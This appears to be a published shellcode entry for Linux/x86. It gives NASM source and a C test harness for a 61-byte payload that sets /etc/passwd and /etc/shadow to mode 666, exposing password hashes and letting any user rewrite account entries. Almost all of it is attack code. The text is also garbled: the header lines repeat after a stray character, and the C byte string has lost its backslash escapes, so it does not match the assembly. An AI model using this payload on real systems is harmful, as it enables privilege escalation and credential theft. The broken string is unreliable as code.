# Exploit Title: Linux/x86 - chmod 666 /etc/passwd & chmod 666 /etc/shadow (61 bytes)
# Date: 10/07/2019
# Exploit Author: Xavier Invers Fornells
# Contact: x4v1s3c@gmail.com < # Exploit Title: Linux/x86 - chmod 666 /etc/passwd & chmod 666 /etc/shadow (61 bytes)
# Date: 10/07/2019
# Exploit Author: Xavier Invers Fornells
# Contact: x4v1s3c@gmail.com
# Tested on: Debian 4.19.28
# Architecture: x86
# Size: 61 bytes



#################################### chmod.nasm ####################################

global _start
section .text

_start:
push byte 15
pop eax
push byte 0x64
push word 0x7773
push 0x7361702f
push 0x6374652f
mov ebx, esp

push word 0x1b6
pop ecx

int 0x80

push byte 15
pop eax
push byte 0x77
push word 0x6f64
push 0x6168732f
push 0x6374652f
mov ebx, esp

push word 0x1b6
pop ecx

int 0x80

push byte 1
pop eax
int 0x80

#################################### shellcode.c ####################################

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"x6ax0fx58x6ax64x66x68x73x77x68x2fx70x61x73x68x2fx65x74x63x89xe3x66x68xb6x01x59xcdx80x6ax0fx58x6ax77x66x68x64x6fx68x2fx73x68x61x68x2fx65x74x63x89xe3x66x68xb6x01x59xcdx80x6ax01x58xcdx80";

main()
{

printf("Shellcode Length: %d ", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}